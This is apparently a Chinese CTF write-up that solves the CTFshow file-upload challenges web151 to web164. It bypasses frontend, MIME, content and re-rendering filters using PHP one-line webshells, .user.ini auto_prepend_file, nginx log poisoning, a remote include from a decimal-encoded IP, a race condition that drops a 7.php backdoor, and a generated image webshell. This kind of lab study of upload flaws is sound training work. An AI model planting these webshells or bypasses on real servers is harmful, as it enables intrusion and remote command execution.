CTFshow web入门vip 文件上传
web151
题目提示前端校验不可靠,看源码
可以看到是传到upload.php这个文件去接受文件上传,文件类型为图片,后缀限制为png
然后把前端验证修改一下,把文件后缀限制改成php
写个一句话木马传进去
1.php
<?php eval($_POST['x']);?>
url中需要加入我们传入文件的目录/upload.php,并指定/1.php这个文件,在这个文件下进行传参。
url:url/upload.php/1.php
post传参
-
x=system('ls');
-
x=system('ls ../');
-
x=system('tac ../flag.php');
得到flag
解法二:
通过抓包,修改传入的文件的后缀为png
web152
先改前端校验,参考web152,报错:
文件上传失败,失败原因:文件类型不合规
抓包看看,先看正常放一个png上去,是怎么个事
发现这里会把文件类型Content-Type发到后端进行校验,把这个正确的文件类型复制一下
把前端验证绕过把1.php传进去,把包抓下来
看到这个文件信息Content-Type: application/octet-stream
把它改成image/png
重放,就绕过后端校验了
后面的过程参考web151
web153
尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析
.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有
需要用到ini文件,把.user.ini
这个文件传到/upload,让/upload目录下所有文件自动包含 1.png
上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行
.user.ini 文件内容
auto_prepend_file=1.png #自动包含 1.png
传入1.png,里面写入一句话木马
payload:
也可以蚁剑连
https://cf506962-78c8-4f29-98bb-6a879729f3d3.challenge.ctf.show/upload/index.php
web154
对文件内容进行了过滤,过滤了php这个词条,换php代码标记
这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行
其他的参照web153
尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析
.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有
需要用到ini文件,把.user.ini
这个文件传到/upload,让/upload目录下所有文件自动包含 1.png
上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行
.user.ini 文件内容
auto_prepend_file=1.png #自动包含 1.png
传入1.png,里面写入一句话木马
payload:
flag
web155
自带 .user.ini,但不影响,payload 与 web154 一致
对文件内容进行了过滤,过滤了php这个词条,换php代码标记
这里还试过了另外几种风格的php代码标记,如<%%>,发现都不行
其他的参照web153
尝试了使用web152的方法(上传1.php抓包后修改请求头中的文件后缀名),发现文件可以上传,但是无法解析
.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有
需要用到ini文件,把.user.ini
这个文件传到/upload,让/upload目录下所有文件自动包含 1.png
上传.user.ini时发现有后缀限制,将其改为.user.png,再抓包后将文件名改回.user.ini就行
.user.ini 文件内容
auto_prepend_file=1.png #自动包含 1.png
传入1.png,里面写入一句话木马
payload:
flag
web156
先将.user.ini上传上去,抓包改后缀
auto_prepend_file=1.png #自动包含 1.png
对 上传文件的**内容**过滤
修改1.png中的一句话木马
<?php
--->换成 <?=
[]
---> 换成{}
payload:
<?php @eval($_POST{'x'});?>
web157
先将.user.ini上传上去,抓包改后缀
auto_prepend_file=1.png #自动包含 1.png
正则匹配过滤了很多东西如
分号; $_POST[' '] <?php
直接在一句话木马里调用直接读取flag的代码,不传参数
payload:
.user.ini:auto_prepend_file=1.png
1.png:<?=system('tac ../f*')?>
直接访问url/upload/即可
web158
payload同157
先将.user.ini上传上去,抓包改后缀
auto_prepend_file=1.png #自动包含 1.png
正则匹配过滤了很多东西如
分号; $_POST[' '] <?php
直接在一句话木马里调用直接读取flag的代码,不传参数
payload:
.user.ini:auto_prepend_file=1.png
1.png:<?=system('tac ../f*')?>
直接访问url/upload/即可
web159
先将.user.ini上传上去,抓包改后缀
auto_prepend_file=1.png #自动包含 1.png
过滤了括号,也就是说system()这种函数用不了了,那就用``执行运算符
payload:
1.png :
web160
``也被过滤了
用php内置的include函数包含默认路径的日志文件,包含并执行这个日志文件,而日志文件里存有UA,UA中有我们写好的php一句话木马,就会执行这个一句话木马
然后再去访问一个这个UA头里带有后门代码的日志文件,就会触发这个后门代码
.user.ini:
auto_prepend_file=1.png
1.png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
这个是nginx默认缓存路径,做了绕过滤处理
这里需要再仔细了解一下
考点:还是过滤字符串 这里又过滤了**log**
字符串 所以使用拼接绕过
可以尝试 日志包含绕过 :
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
还是先上传.user.ini.png进行解析 然后包含/upload/index.php/ 然后服务器是nginx
知识点:nginx的默认日志路径是:/var/log/nginx/access.log
flag
web161
文件头检测
绕过这个检测机制需要我们在user.ini文件头加上GIF89A
对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等
经过尝试之后发现只能继续使用访问日志的方法
1.png :
GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
web162
突破过滤.
对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等
这题还过滤了.
也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理
在包含的经过了IP转换的文件中加入一句话木马
.user.ini
GIF89a
auto_prepend_file=png
png
GIF89a
\<?=include'http://151523133/''>
web163
对文件内容做了大量过滤如php代码标识:只允许形式,过滤‘’命令执行符号,过滤(),过滤[],等
这题还过滤了.
也就是说访问日志的方法也不行了,无法对nginx默认缓存路径做绕过滤处理
在包含的经过了IP转换的文件中加入一句话木马
.user.ini
auto_prepend_file=png
png
GIF89a
\<?=include'http://151523133''>
index.txt 后门代码
png自动删除
规则:
1.都删除
2.后门代码删除
条件竞争:在上传成功,立马访问,,创建型代码(代码被执行后重新新建一个文件
<?php $f=fopen("7.php","w"); fputs($f,'<?php eval($_POST[7]);?>');?>
这里我们用条件竞争,在.user.ini中写入
auto_prepend_file=http://151523133/
然后直接访问/upload/再hackerbar rce就行
web164
二次渲染
当我们把图片上传图像上去之后,他进行了二次加工,这就叫二次渲染 这个过程就会造成payload失效
二次渲染判断:
-
判断文件上传前后的大小
-
判断文件后返回的数据包中特殊的标记
这里用别人写的php代码生成一个图片马
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./7.png');
?>
#<?=$_GET[0]($_POST[1]);?>
把这段代码放在小皮里跑一下,就会生成一个7.png在同目录中,将其上传
这题上传路径跟之前的稍有不同,注意一下,上传成功后点击查看可以看到这个路径的
/download.php?image=9eb9cd58b9ea5e04c890326b5c1f471f.png
其实也正是因为他是先访问download.php这个代码,然后请求包含image,才能让我们的png图片里的php代码能被解析,否则还是需要配合.user.ini文件才能解析png图片马
这是我们图片马中包含的一句话木马,get方式拿个参数0,post方式拿个参数1
<?=$_GET[0]($_POST[1]);?>
我一开始直接用的bp抓包,但是后来发现一直有点问题,可能是格式或者什么地方有要求
用hackerbar传参,但是没有回显
再用bp把这个包抓下来,成功回显flag